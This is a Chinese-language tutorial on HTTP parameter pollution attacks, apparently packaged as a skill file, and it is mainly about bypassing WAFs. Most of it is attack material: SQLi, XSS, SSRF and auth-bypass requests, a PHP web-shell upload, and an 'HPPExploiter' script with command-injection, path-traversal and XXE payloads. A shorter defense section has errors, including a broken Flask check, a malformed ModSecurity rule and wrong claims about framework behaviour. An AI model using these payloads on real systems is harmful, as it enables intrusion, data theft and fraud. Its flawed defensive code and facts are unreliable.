name: http-parameter-pollution
version: 1.0.0
【教程】HTTP参数污染(HPP)攻击实战:从原理到WAF绕过全解析
适合人群:有一定Web安全基础的渗透测试人员、安全研究员、CTF选手
前置知识:HTTP协议基础、Burp Suite基本操作、常见Web漏洞原理
一、前置准备
1.1 工具安装
# Burp Suite(必备,拦截和修改请求)
# 下载: https://portswigger.net/burp/communitydownload
# HPP专用工具 - Param Miner(Burp插件)
# 安装: Burp → Extensions → BApp Store → 搜索 "Param Miner" → Install
# HPP测试脚本(Python)
pip3 install requests httpx
# DirSearch(用于发现隐藏参数)
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch && pip3 install -r requirements.txt
# Arjun(参数发现工具)
pip3 install arjun
1.2 靶场搭建
# 使用 DVWA 靶场测试HPP
docker run -d -p 80:80 vulnerables/web-dvwa
# 或使用 Pikachu 靶场(国产,中文友好)
docker run -d -p 8080:80 area39/pikachu
1.3 核心概念速查
| 术语 | 含义 |
|---|---|
| HPP | HTTP Parameter Pollution,HTTP参数污染 |
| Server-Side HPP | 服务端参数污染,后端处理重复参数时取最后一个 |
| Client-Side HPP | 客户端参数污染,前端JavaScript处理取第一个 |
| WAF Bypass | 利用HPP绕过Web应用防火墙的检测规则 |
| 参数继承 | 后端框架对重复参数的特殊处理行为 |
二、核心原理
2.1 什么是HTTP参数污染
HTTP参数污染(HTTP Parameter Pollution,简称HPP)是指在HTTP请求中同一个参数名出现多次,而服务端和客户端对重复参数的处理方式不一致,从而导致安全问题。
正常请求:
GET /search?q=hello HTTP/1.1
Host: target.com
HPP攻击请求:
GET /search?q=hello&q=<script>alert(1)</script> HTTP/1.1
Host: target.com
2.2 参数拼接规则差异
不同服务器/框架对重复参数的处理方式完全不同:
| 服务器/框架 | 参数处理方式 | 示例结果 |
|---|---|---|
| Apache + PHP | 取最后一个 | q=<script>alert(1)</script> |
| IIS + ASP.NET | 取最后一个 | q=<script>alert(1)</script> |
| Tomcat + Java | 取第一个 | q=hello |
| Node.js (Express) | 取第一个(默认) | q=hello |
| Python (Flask) | 取最后一个 | q=<script>alert(1)</script> |
| Python (Django) | 取最后一个 | q=<script>alert(1)</script> |
| Nginx + Lua | 取第一个 | q=hello |
关键洞察:这个差异正是HPP漏洞的根源——WAF和后端服务器对参数的解析可能不一致。
2.3 三种HPP类型
类型一:服务端HPP(最常见)
后端服务器接收到重复参数时,取最后一个值处理。攻击者可以利用这个特性:
# 正常请求 - WAF放行
GET /api/transfer?amount=100&to=friend HTTP/1.1
# HPP攻击 - WAF检查的是第一个amount=100(合法),后端处理的是第二个amount=999999
GET /api/transfer?amount=100&to=friend&amount=999999 HTTP/1.1
类型二:客户端HPP
前端JavaScript使用 URLSearchParams.get() 或 document.querySelector 读取参数时,取第一个值:
// 前端代码(假设)
const params = new URLSearchParams(window.location.search);
const redirect = params.get('redirect'); // 取第一个redirect
// 攻击者构造:
// https://target.com/login?redirect=https://target.com&redirect=https://evil.com
// 前端读取第一个 → 跳转到 https://target.com(合法)
// 后端读取最后一个 → 跳转到 https://evil.com(恶意)
类型三:中间件HPP
WAF/CDN/代理服务器与后端服务器对参数的解析方式不同:
# WAF看到的(第一个参数):amount=100 → 放行
# 后端实际处理的(最后一个参数):amount=999999 → 执行
三、实操步骤
3.1 检测HPP漏洞
方法一:Burp Suite手动测试
步骤1:拦截正常请求
在Burp Suite中拦截目标请求,观察参数结构:
POST /api/user/update HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
name=Alice&email=alice@example.com&role=user
步骤2:添加重复参数
在第一个参数后添加相同的参数名,但值为恶意payload:
POST /api/user/update HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
name=Alice&email=alice@example.com&role=user&role=admin
步骤3:观察响应差异
对比两个请求的响应:
- 如果响应中出现了
role=admin的效果(如权限提升),则存在HPP漏洞 - 如果后端只取第一个值,则HPP不生效
方法二:Param Miner自动扫描
# 在Burp Suite中安装Param Miner插件后:
# 1. 右键目标 → Extensions → Param Miner → Guess params
# 2. 选择 "Pollution" 模式
# 3. 设置线程数和扫描范围
# 4. 开始扫描,插件会自动测试参数重复情况
方法三:Python脚本批量检测
#!/usr/bin/env python3
"""HPP漏洞批量检测脚本"""
import requests
import sys
from urllib.parse import urlencode, urlparse, parse_qs, urljoin
def detect_hpp(url, param_name, test_values=None):
"""
检测目标URL是否存在HPP漏洞
:param url: 目标URL
:param param_name: 要测试的参数名
:param test_values: 测试值列表
"""
if test_values is None:
test_values = ['test123', 'admin', '<script>alert(1)</script>']
parsed = urlparse(url)
original_params = parse_qs(parsed.query)
results = []
for i, value in enumerate(test_values):
# 构造HPP请求:在原始参数后追加重复参数
hpp_params = dict(original_params)
hpp_params[param_name] = [hpp_params.get(param_name, [''])[0], value]
hpp_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urlencode(hpp_params, doseq=True)}"
try:
# 发送正常请求
normal_resp = requests.get(url, timeout=10, allow_redirects=False)
# 发送HPP请求
hpp_resp = requests.get(hpp_url, timeout=10, allow_redirects=False)
# 比较响应
if normal_resp.text != hpp_resp.text:
results.append({
'value': value,
'status': hpp_resp.status_code,
'length_diff': len(hpp_resp.text) - len(normal_resp.text),
'url': hpp_url
})
print(f"[!] HPP可能有效: param={param_name}, value={value}")
print(f" URL: {hpp_url}")
print(f" 响应长度变化: {len(normal_resp.text)} → {len(hpp_resp.text)}")
else:
print(f"[-] 无差异: param={param_name}, value={value}")
except requests.RequestException as e:
print(f"[x] 请求失败: {e}")
return results
def test_framework_behavior(base_url):
"""测试不同框架对重复参数的处理行为"""
frameworks = {
'Apache+PHP': ('80', 'test'),
'IIS+ASP.NET': ('443', 'test'),
'Tomcat+Java': ('8080', 'test'),
}
test_url = f"{base_url}/test?param=first¶m=second"
print(f"[*] 测试框架行为: {test_url}")
try:
resp = requests.get(test_url, timeout=10)
print(f"[*] 响应: {resp.text[:200]}")
print(f"[*] 状态码: {resp.status_code}")
except Exception as e:
print(f"[x] 测试失败: {e}")
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <url> [param_name]")
print(f"示例: {sys.argv[0]} https://target.com/search?q=hello q")
sys.exit(1)
url = sys.argv[1]
param = sys.argv[2] if len(sys.argv) > 2 else 'q'
print(f"[*] 开始HPP检测: {url}")
print(f"[*] 测试参数: {param}")
print("-" * 50)
results = detect_hpp(url, param)
print("-" * 50)
print(f"[*] 检测完成,发现 {len(results)} 个潜在HPP点")
3.2 利用HPP绕过WAF
场景一:SQL注入WAF绕过
-- 正常SQL注入被WAF拦截
GET /search?id=1' UNION SELECT username,password FROM users-- HTTP/1.1
# WAF检测到 UNION SELECT → 拦截
-- HPP绕过:WAF检查第一个id参数,后端处理最后一个
GET /search?id=1&id=1' UNION SELECT username,password FROM users-- HTTP/1.1
# WAF看到 id=1 → 放行
# 后端处理 id=1' UNION SELECT... → SQL注入生效
实际Payload示例:
# 绕过ModSecurity WAF
GET /api/users?id=1&id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- HTTP/1.1
# 绕过Cloudflare
POST /admin/config HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
action=save&config=normal&config={"debug":true,"admin_token":"sk_test_***"}
场景二:XSS WAF绕过
<!-- 正常XSS被WAF拦截 -->
GET /profile?name=<script>alert(1)</script> HTTP/1.1
# WAF检测到 <script> → 拦截
<!-- HPP绕过 -->
GET /profile?name=normal&name=<script>alert(1)</script> HTTP/1.1
# WAF检查第一个name=normal → 放行
# 后端处理第二个name=<script>alert(1)</script> → XSS生效
更多XSS Payload变体:
| Payload | 说明 |
|---|---|
<img src=x onerror=alert(1)> | 图片标签绕过 |
<svg onload=alert(1)> | SVG标签绕过 |
<details open ontoggle=alert(1)> | HTML5标签绕过 |
javascript:alert(1) | URL协议绕过 |
"><script>alert(1)</script> | 闭合引号绕过 |
场景三:认证绕过
# 登录接口HPP
POST /api/login HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=wrong&username=admin&password=correct
# WAF检查第一个password=wrong → 放行
# 后端处理第二个password=correct → 登录成功
3.3 高级HPP利用技术
技术一:参数名混淆
# 使用不同编码的参数名
GET /api/data?id=1&id=2 HTTP/1.1 # 原始
GET /api/data?id=1&ID=2 HTTP/1.1 # 大小写混淆(某些框架不区分)
GET /api/data?id=1&i%64=2 HTTP/1.1 # URL编码
GET /api/data?id=1&id%00=2 HTTP/1.1 # 空字节注入
技术二:JSON参数HPP
// 原始请求
POST /api/update HTTP/1.1
Content-Type: application/json
{"id": 1, "role": "user"}
// HPP攻击(某些框架支持JSON数组)
POST /api/update HTTP/1.1
Content-Type: application/json
{"id": [1, 2], "role": ["user", "admin"]}
// 后端可能取最后一个值:role=admin
技术三:multipart/form-data HPP
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="safe.txt"
Content-Type: text/plain
Safe content
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-httpd-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
# 某些框架处理multipart时会合并同名参数
3.4 自动化HPP检测脚本
#!/usr/bin/env python3
"""高级HPP自动化检测与利用工具"""
import requests
import json
import sys
from urllib.parse import urlencode, urlparse, parse_qs, quote
from concurrent.futures import ThreadPoolExecutor, as_completed
class HPPExploiter:
def __init__(self, target_url, threads=5):
self.target_url = target_url
self.threads = threads
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.results = []
def test_hpp_bypass(self, param_name, payloads, original_value='test'):
"""测试HPP绕过WAF"""
parsed = urlparse(self.target_url)
results = []
for payload in payloads:
# 构造HPP请求
hpp_params = {param_name: [original_value, payload]}
hpp_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{urlencode(hpp_params, doseq=True)}"
try:
# 正常请求
normal_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{param_name}={quote(original_value)}"
normal_resp = self.session.get(normal_url, timeout=10)
# HPP请求
hpp_resp = self.session.get(hpp_url, timeout=10)
# 分析差异
diff_analysis = self._analyze_response_diff(
normal_resp, hpp_resp, payload
)
if diff_analysis['is_vulnerable']:
results.append({
'param': param_name,
'payload': payload,
'url': hpp_url,
'analysis': diff_analysis
})
print(f"[!] HPP绕过成功: {param_name}")
print(f" Payload: {payload}")
print(f" 差异: {diff_analysis['description']}")
except requests.RequestException as e:
print(f"[x] 请求失败: {e}")
return results
def _analyze_response_diff(self, normal_resp, hpp_resp, payload):
"""分析两个响应的差异"""
analysis = {
'status_code_diff': hpp_resp.status_code != normal_resp.status_code,
'length_diff': abs(len(hpp_resp.text) - len(normal_resp.text)),
'content_diff': normal_resp.text != hpp_resp.text,
'is_vulnerable': False,
'description': ''
}
# 检查payload是否在响应中出现
if payload in hpp_resp.text and payload not in normal_resp.text:
analysis['is_vulnerable'] = True
analysis['description'] = f'Payload出现在响应中'
# 检查状态码变化(如200→500可能表示SQL注入)
if analysis['status_code_diff']:
if hpp_resp.status_code == 500:
analysis['is_vulnerable'] = True
analysis['description'] = f'触发服务器错误(500)'
# 检查响应长度显著变化
if analysis['length_diff'] > 100:
analysis['is_vulnerable'] = True
analysis['description'] = f'响应长度显著变化({analysis["length_diff"]}字节)'
return analysis
def discover_parameters(self, wordlist_path='/usr/share/wordlists/common.txt'):
"""发现隐藏参数"""
parsed = urlparse(self.target_url)
found_params = []
try:
with open(wordlist_path, 'r') as f:
params = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
# 使用内置参数列表
params = [
'id', 'user', 'admin', 'debug', 'test', 'action',
'cmd', 'exec', 'file', 'path', 'url', 'redirect',
'token', 'key', 'secret', 'password', 'auth',
'page', 'limit', 'offset', 'sort', 'order',
'callback', 'jsonp', 'format', 'type', 'mode'
]
print(f"[*] 开始参数发现,共 {len(params)} 个参数")
for param in params:
test_url = f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{param}=test"
try:
resp = self.session.get(test_url, timeout=5)
if resp.status_code != 404: # 参数存在时通常不会404
found_params.append(param)
print(f"[+] 发现参数: {param} (状态码: {resp.status_code})")
except:
continue
return found_params
def generate_report(self, results):
"""生成HPP检测报告"""
report = {
'target': self.target_url,
'total_vulnerabilities': len(results),
'vulnerabilities': results,
'recommendations': [
'1. 后端服务器应只接受第一个参数值,忽略重复参数',
'2. WAF应配置为检查所有同名参数,而非仅第一个',
'3. 使用参数白名单机制,拒绝未预定义的参数',
'4. 对所有输入参数进行严格的类型和范围验证',
'5. 实施参数数量限制,拒绝包含过多参数的请求'
]
}
return json.dumps(report, indent=2, ensure_ascii=False)
def main():
if len(sys.argv) < 2:
print(f"用法: {sys.argv[0]} <url> [param]")
sys.exit(1)
target = sys.argv[1]
param = sys.argv[2] if len(sys.argv) > 2 else 'q'
# 常见HPP绕过Payload
payloads = [
# SQL注入
"1' OR '1'='1",
"1' UNION SELECT 1,2,3--",
"1; DROP TABLE users--",
# XSS
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"javascript:alert(1)",
# 路径遍历
"../../../etc/passwd",
"..\\..\\..\\windows\\system32\\config\\sam",
# 命令注入
"; ls -la",
"| cat /etc/passwd",
"$(whoami)",
# SSRF
"http://169.254.169.254/latest/meta-data/",
"http://localhost:8080/admin",
# XXE
"<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>",
]
exploiter = HPPExploiter(target)
print(f"[*] 目标: {target}")
print(f"[*] 测试参数: {param}")
print(f"[*] Payload数量: {len(payloads)}")
print("=" * 60)
# 执行HPP测试
results = exploiter.test_hpp_bypass(param, payloads)
# 生成报告
report = exploiter.generate_report(results)
print("\n" + "=" * 60)
print("[*] 检测报告:")
print(report)
if __name__ == '__main__':
main()
四、绕过技术
4.1 WAF绕过技巧
技巧一:参数顺序操控
# 大多数WAF只检查第一个参数
# 利用这个特性,将恶意payload放在第二个参数
# WAF检查的参数
GET /search?q=safe HTTP/1.1 → 放行
# 后端实际处理的参数
GET /search?q=safe&q=<script>alert(1)</script> HTTP/1.1 → XSS生效
技巧二:混合编码绕过
# 使用URL编码 + HPP组合
# 原始payload: <script>alert(1)</script>
# URL编码: %3Cscript%3Ealert(1)%3C%2Fscript%3E
# HPP + 编码
GET /search?q=safe&q=%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
# 双重编码
GET /search?q=safe&q=%253Cscript%253Ealert(1)%253C%252Fscript%253E HTTP/1.1
技巧三:Content-Type混淆
# 使用不同Content-Type触发不同解析逻辑
# 表单提交
POST /api/data HTTP/1.1
Content-Type: application/x-www-form-urlencoded
id=1&id=2
# JSON提交(某些框架处理方式不同)
POST /api/data HTTP/1.1
Content-Type: application/json
{"id": [1, 2]}
# XML提交
POST /api/data HTTP/1.1
Content-Type: application/xml
<root><id>1</id><id>2</id></root>
4.2 框架特定绕过
PHP (Apache)
// PHP默认取最后一个参数
$_GET['param'] // 返回最后一个值
// 但某些函数行为不同
=count($_GET['param']) // 返回参数数量
Java (Tomcat)
// Tomcat默认取第一个参数
request.getParameter("param") // 返回第一个值
// 但getParameterValues返回所有值
String[] values = request.getParameterValues("param"); // 返回数组
Node.js (Express)
// Express默认取第一个参数
req.query.param // 返回第一个值
// 但req.query返回对象,可以通过req.query.param访问
// 如果参数名包含[],Express会解析为数组
// /api?param[]=1¶m[]=2 → req.query.param = ['1', '2']
Python (Flask)
# Flask默认取最后一个参数
request.args.get('param') # 返回最后一个值
# 但request.args.getlist('param')返回所有值
request.args.getlist('param') # 返回列表
五、实战案例复盘
案例一:电商平台支付金额篡改
目标:某电商平台的订单创建接口
正常请求:
POST /api/order/create HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
product_id=12345&quantity=1&price=99.99
HPP攻击:
POST /api/order/create HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
product_id=12345&quantity=1&price=99.99&price=0.01
结果:WAF检查第一个price=99.99(合法),后端处理第二个price=0.01(恶意),订单以0.01元创建成功。
修复方案:后端只接受第一个price参数,忽略后续重复参数。
案例二:管理后台权限提升
目标:某SaaS平台的用户角色修改接口
正常请求:
PUT /api/user/role HTTP/1.1
Host: target.com
Content-Type: application/json
{"user_id": 123, "role": "viewer"}
HPP攻击:
PUT /api/user/role HTTP/1.1
Host: target.com
Content-Type: application/json
{"user_id": [123, 123], "role": ["viewer", "admin"]}
结果:后端处理JSON数组时取最后一个值,用户角色被修改为admin。
案例三:SSRF绕过内网访问限制
目标:某应用的URL预览功能
正常请求:
POST /api/preview HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
url=https://allowed-domain.com&url=http://169.254.169.254/latest/meta-data/
结果:WAF检查第一个url(合法域名),后端处理第二个url(内网地址),成功发起SSRF请求获取云服务器元数据。
六、防御建议
6.1 后端防御
# Python Flask防御示例
from flask import Flask, request
app = Flask(__name__)
@app.route('/api/data', methods=['POST'])
def safe_endpoint():
# 方案1:只接受第一个参数值
param = request.args.get('param')
# 方案2:检查参数数量,拒绝重复参数
if request.args.getlist('param') > 1:
return {'error': 'Invalid request: duplicate parameters'}, 400
# 方案3:使用参数白名单
allowed_params = {'param', 'action', 'format'}
if not set(request.args.keys()).issubset(allowed_params):
return {'error': 'Invalid parameters'}, 400
return {'status': 'ok'}
// Java Spring防御示例
@RestController
public class SafeController {
@GetMapping("/api/data")
public ResponseEntity<?> safeEndpoint(
@RequestParam("param") String param,
@RequestParam Map<String, String> allParams) {
// 检查是否有重复参数
if (allParams.size() != new HashSet<>(allParams.keySet()).size()) {
return ResponseEntity.badRequest().body("Duplicate parameters detected");
}
// 或者使用getFirst()(Spring 5.3+)
// String safeValue = request.getParameterMap().get("param")[0];
return ResponseEntity.ok("Success");
}
}
6.2 WAF配置
# Nginx ModSecurity规则示例
# 拒绝包含重复参数的请求
SecRule &REQUEST_FILENAME:QUERY_STRING "@gt 1" \
"id:1001,\
phase:1,\
deny,\
status:403,\
msg:'HPP attack detected: duplicate query parameters',\
log,\
auditlog"
6.3 代码审计检查清单
| 检查项 | 危险信号 | 修复建议 |
|---|---|---|
| 参数读取方式 | 使用 request.args.get() | 改用白名单 + 数量检查 |
| JSON解析 | 直接解析用户输入的JSON | 验证字段类型和数量 |
| 重定向处理 | 从参数中读取重定向URL | 使用固定白名单 |
| 权限检查 | 基于参数值判断权限 | 使用session中的权限信息 |
| SQL查询 | 参数直接拼接SQL | 使用参数化查询 |
七、常见陷阱
陷阱一:忽略Content-Type差异
# 错误:只测试GET参数
requests.get(url + "?param=value")
# 正确:同时测试POST表单、JSON、XML等多种Content-Type
requests.post(url, data={"param": "value"}) # 表单
requests.post(url, json={"param": "value"}) # JSON
requests.post(url, data="<param>value</param>",
headers={"Content-Type": "application/xml"}) # XML
陷阱二:WAF和后端解析不一致
# 陷阱:WAF可能在不同层解析参数
# 某些WAF在OSI第7层(应用层)解析
# 某些在第4层(传输层)解析
# 测试方法:使用不同协议版本
# HTTP/1.0 vs HTTP/1.1 vs HTTP/2
import httpx
# HTTP/1.1
client = httpx.Client(http2=False)
resp1 = client.get(url)
# HTTP/2
client_h2 = httpx.Client(http2=True)
resp2 = client_h2.get(url)
陷阱三:浏览器自动编码
// 浏览器可能自动对参数进行编码
// 直接构造URL时要注意
// 错误:浏览器可能编码<>
const maliciousUrl = baseUrl + "?q=<script>alert(1)</script>";
// 正确:使用encodeURIComponent
const safeUrl = baseUrl + "?q=" + encodeURIComponent("<script>alert(1)</script>");
// 或者使用URL构造函数
const url = new URL(baseUrl);
url.searchParams.append("q", "safe");
url.searchParams.append("q", "<script>alert(1)</script>");
console.log(url.toString());
陷阱四:框架版本差异
# 不同框架版本对HPP的处理可能不同
# Django 2.x vs 3.x vs 4.x 行为可能有变化
# 建议:在目标具体版本上测试
# 查找框架版本:
# - 检查响应头(X-Powered-By)
# - 检查错误页面
# - 检查默认文件(如 /favicon.ico 的hash)
八、总结(含速查表)
速查表:HPP攻击检测与利用
| 测试类型 | Payload示例 | 预期结果 |
|---|---|---|
| 基础HPP | ?param=1¶m=2 | 后端取最后一个值 |
| SQL注入绕过 | ?id=1&id=1' OR '1'='1 | 绕过WAF,触发SQLi |
| XSS绕过 | ?q=safe&q=<script>alert(1)</script> | 绕过WAF,触发XSS |
| 认证绕过 | ?user=admin&pass=wrong&pass=correct | 取第二个密码值 |
| 权限提升 | ?role=user&role=admin | 取最后一个role值 |
| SSRF | ?url=allowed.com&url=http://169.254.169.254/ | 绕过URL白名单 |
| 路径遍历 | ?file=safe.txt&file=../../../etc/passwd | 读取敏感文件 |
防御速查表
| 防御措施 | 优先级 | 实现难度 | 效果 |
|---|---|---|---|
| 参数白名单 | 高 | 中 | 防止未知参数 |
| 参数数量限制 | 高 | 低 | 直接阻止HPP |
| 只取第一个参数 | 中 | 低 | 简单有效 |
| WAF多层检测 | 中 | 高 | 深度防御 |
| 输入验证 | 高 | 中 | 根本解决 |
| 日志监控 | 低 | 低 | 检测攻击 |
推荐工具
| 工具 | 用途 | 链接 |
|---|---|---|
| Burp Suite | 手动测试和拦截 | portswigger.net/burp |
| Param Miner | 自动参数发现 | BApp Store |
| Arjun | 参数发现 | github.com/s0md3v/Arjun |
| DirSearch | 目录和参数扫描 | github.com/maurosoria/dirsearch |
| ffuf | 高速参数模糊测试 | github.com/ffuf/ffuf |
| wfuzz | Web应用模糊测试 | github.com/xmendez/wfuzz |
关键要点
- HPP的本质:同一参数名出现多次,不同组件解析不一致
- 最常见场景:WAF检查第一个参数,后端处理最后一个参数
- 检测方法:添加重复参数,观察响应差异
- 利用技巧:混合编码 + Content-Type混淆 + 参数名变体
- 防御核心:参数白名单 + 数量限制 + 输入验证
扩展学习
- 相关漏洞:HTTP请求走私(HRS)、CRLF注入、参数注入
- 进阶技术:HPP + SSRF组合利用、HPP + 反序列化组合利用
- CTF题目:搜索 "HPP CTF" 找到相关练习题目
- 参考资源:OWASP Testing Guide - HPP章节、PortSwigger Web Security Academy
最后更新:2026年7月4日
标签:HPP, HTTP参数污染, WAF绕过, Web安全, 渗透测试